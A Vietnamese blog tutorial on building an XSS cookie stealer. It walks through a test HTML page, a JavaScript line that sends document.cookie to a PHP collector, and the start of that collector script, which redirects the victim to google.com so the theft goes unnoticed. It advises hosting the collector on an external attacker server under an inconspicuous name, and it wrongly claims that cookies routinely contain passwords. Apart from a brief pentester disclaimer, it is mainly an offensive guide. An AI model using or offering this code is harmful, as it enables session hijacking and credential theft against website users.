Login

Lost your password?
Don't have an account? Sign Up

Cách lấy cookie XSS chứa mật khẩu bằng JavaScript

JAVASCRIPT LÀ GÌ ?

JavaScript là một trong những ngôn ngữ phổ biến nhất được sử dụng trên web. Nó có thể tự động hóa và tạo hoạt ảnh cho các thành phần của trang web, quản lý nội dung trang web và thực hiện nhiều chức năng hữu ích khác bên trong trang web. JavaScript cũng có nhiều chức năng có thể được sử dụng cho các mục đích xấu, bao gồm đánh cắp cookie XSS của người dùng có chứa mật khẩu và các thông tin khác.

COOKIE LÀ GÌ ?

Cookie là thông tin mà một trang web yêu cầu hoặc duy trì liên quan đến những người dùng cụ thể truy cập trang. Các cookie này chứa thông tin về cách thức và thời điểm họ truy cập, cũng như thông tin xác thực cho trang web như tên người dùng và mật khẩu. Vì những cookie này phải được sử dụng bất cứ khi nào khách truy cập một trang web nhất định, kẻ tấn công có thể lấy cắp thông tin này và sử dụng nó để mạo danh hoặc lập danh mục thông tin về những người dùng cụ thể.

+) Bạn có thể sử dụng JavaScript để lưu hoặc sửa đổi cookie của người dùng cho một domain nhất định. Mặc dù điều này thường được áp dụng để tạo và sử dụng cookie để phát triển các web tương tác, nhưng nếu kẻ tấn công cũng có thể xem cookie như vậy, nó sẽ trở thành một kỹ thuật hack rất đáng gờm. Các cuộc tấn công dựa trên JavaScript đặc biệt hiệu quả khi được kết hợp với các kỹ thuật như injection, vì nó cho phép mã độc được thực thi trên những trang web đáng tin cậy.

Mặc dù mình không ủng hộ việc đánh cắp mật khẩu của bất kỳ ai, nhưng bài viết này là một kiến thức cần biết đối với bất kỳ pentester hoặc chuyên gia bảo mật CNTT nào. Nếu bạn không biết các hacker mũ đen làm việc như thế nào, bạn sẽ không bao giờ có thể bắt được chúng.

SAU ĐÂY LÀ CÁC BƯƠC VIÊT TOOL COOKIE XSS BẰNG JAVASCRIPT ĐỂ LẤY MẬT KHẨU

Bước 1: Tạo một trang HTML dùng để test

Để ăn cắp cookie, trước tiên cookie phải có sẵn trên domain web mà người dùng đang xem. Điều này xảy ra bất cứ khi nào người dùng xem trang web. Mặc dù hoàn toàn có thể đưa JavaScript vào các trang web bằng cách sử dụng cách tấn công man-in-the-middlehoặc bằng cách khai thác một trang web dễ bị tấn công, nhưng cả hai điều này sẽ cần thêm nhiều nỗ lực để thực hiện.

Môi trường thử nghiệm đánh cắp cookie của chúng ta sẽ nằm trong một trang chỉ mục HTML khá chuẩn. Chúng ta sẽ có thể nhúng tất cả các phần tử JavaScript. Đầu tiên, tạo một thư mục mới để chứa tệp HTML. Trên hệ thống Linux hoặc macOS, chúng ta có thể sử dụng lệnh mkdir, như hình dưới đây.

mkdir cookiestealer

Tiếp theo, truy cập vào thư mục này bằng lệnh cd:

cd cookiestealer

Khi ở trong thư mục này, chúng ta có thể tạo tệp index của mình bằng lệnh touch

touch index.html

Tiếp theo, chúng ta cũng sẽ chỉnh sửa tệp index này. Đầu tiên, mở tệp bằng nano.

nano index.html

Thêm các thẻ mở HTML cần thiết. Trong trường hợp này, chúng ta chỉ cần thẻ “html” và “body” vì không cần phần tử “head” để kiểm tra JavaScript. Tệp bây giờ sẽ trông giống như bên dưới.

<html>
<body>
</body>
</html>

Chúng ta có thể lưu tệp này bằng cách nhấn Ctrl + O trong nano. Tại thời điểm này, nếu mở trong trình duyệt web, trang của chúng ta sẽ trống. Chúng ta có thể thêm phần tử tiêu đề hoặc một số nội dung HTML cơ bản, nhưng đối với thử nghiệm này, nhiêu đây là đủ.

Chúng ta có thể tạo một tham số cơ bản được chèn trong cookie bằng cách chỉ sử dụng một chuỗi duy nhất. Cookie này sẽ chỉ tồn tại trong trang này và tương tự, kỹ thuật được sử dụng để kết xuất cookie sau này sẽ áp dụng cho bất kỳ cookie nào được lưu trữ trong trang mà tập lệnh được chạy hoặc đưa vào.

<script type="text/javascript">document.cookie = "username=Null Byte";</script>

Tập lệnh này phải được chèn trong phần “body” của tệp HTML, như bên dưới.

Nếu trang web có tập lệnh này được mở, một cookie sẽ được thiết lập, nhưng sẽ không có gì hiển thị trong trình duyệt. Chúng ta có thể kết xuất cookie trực tiếp vào chính trang đó bằng cách sử dụng chức năng “document.write”. Điều này sẽ không có ích gì cho việc xuất cookie cho người dùng, nhưng nó có thể giúp chúng ta hiểu định dạng mà kỹ thuật cookie hoạt động. Chúng tacó thể thêm dòng sau vào tập lệnh của mình để kiểm tra.

document.write(document.cookie);

Tập lệnh của chúng ta bây giờ sẽ trông giống như bên dưới.

1. <script type=“text/javascript”>
2. document.cookie = “username=Null Byte”;
3. document.write(document.cookie);
4. </script>
Khi mở trong trình duyệt, nó sẽ trông giống như hình dưới đây.

Bây giờ chúng ta đã đặt thành công “username=Null Byte” làm cookie cho trang này. Bây giờ chúng ta có thể xóa “document.write (document.cookie);” chức năng của tập lệnh, vì thay vào đó chúng ta sẽ chuyển tiếp các cookie được truy xuất từ ​​trang của người dùng được nhắm mục tiêu đến một trang độc lập, nơi chúng ta có thể viết và lưu trữ chúng.

Lệnh JavaScript mà chúng ta sẽ sử dụng để chuyển cookie đến máy chủ nơi chúng ta có thể ghi chúng và một lần nữa sử dụng document.cookie, tuy nhiên, thay vào đó, chuỗi này sẽ được truyền nội tuyến với một URL như được định nghĩa trong document.location.

1. document.location=‘http://127.0.0.1/cookiestealer.php?c=’+document.cookie;

Trong ví dụ này, tệp PHP được đặt trên máy cục bộ, hoặc máy chủ cục bộ, tại 127.0.0.1. Trong ví dụ thực tế của kỹ thuật này, nó phải hướng tới một tệp được lưu trữ trên máy chủ web có thể được xuất ra bên ngoài mạng cục bộ hoặc máy cục bộ.

Nếu ai đó đang nhắm mục tiêu đến một trang web truyền thông xã hội, tập lệnh sẽ được đưa vào trong trang web đó và các cookie bị đánh cắp sẽ được gửi đến một IP hoặc URL của một máy chủ do tin tặc kiểm soát.

Đối với mục đích thử nghiệm, chúng ta có thể lưu trữ tệp cục bộ bằng cách sử dụng module máy chủ thử nghiệm của PHP.

Chúng ta có thể thêm lệnh JavaScript này trong các thẻ script, như bên dưới, trên cùng một trang HTML mà chúng ta đã tạo cookie mẫu.

1. <script type=“text/javascript”>
2. document.location=‘http://127.0.0.1/cookiestealer.php?c=’+document.cookie;
3. </script>
Code trang HTML bây giờ sẽ trông giống như hình bên dưới.

Lệnh JavaScript này đủ để gắn một cookie vào một yêu cầu gửi đến URL PHP, và đó là tất cả code JavaScript cần thiết cho chức năng này. Phần còn lại của quá trình xử lý cookie sẽ dùng PHP.

Bước 4: Xử lý Cookie bằng PHP

Chúng ta có thể kiểm soát những gì mình làm với cookie và nơi chúng ta chỉ đạo người dùng đã bị đánh cắp cookie từ trong tệp PHP, được xác định trong lệnh JavaScript. Trong ví dụ trên, tên của tệp PHP này là cookiestealer.php và nó nằm trên hệ thống cục bộ tại 127.0.0.1.

Nhiêu đây là đủ để triển khai thử nghiệm này, nhưng trong trường hợp thực tế, tệp PHP sẽ được phân phối tốt hơn với một tên ít rõ ràng hơn và nằm ở IP hoặc URL bên ngoài.

Đầu tiên, tạo một tệp PHP mới trong cùng thư mục với tệp index.html. Bạn có thể làm như vậy bằng cách gõ lệnh sau.

nano cookiestealer.php

Sau khi thêm các dấu ngoặc mở và đóng PHP, phần tử đầu tiên chúng ta muốn xác định là vị trí chuyển hướng, như trong ví dụ này.

1. <?php
2. header (‘Location:https://google.com’);
3. ?>

Chúng ta xác định đây là “Location” theo sau “header”, trong trường hợp này là “https://google.com.” Nó có thể được đặt thành bất cứ thứ gì bạn muốn, miễn nó là một địa chỉ có thể được xử lý bởi trình duyệt web. Để hạn chế nguy cơ người dùng biết được một cuộc tấn công, tốt nhất là chuyển hướng họ đến một trang có liên quan để họ không cảnh giác hoặc bị mắc kẹt trong vòng lặp vô hạn của tập lệnh chạy qua chạy lại .

Nguồn: anonyviet.com
https://dt-corp.com.vn

Leave a Comment

Your email address will not be published. Required fields are marked *

*
*

error: Content is protected !!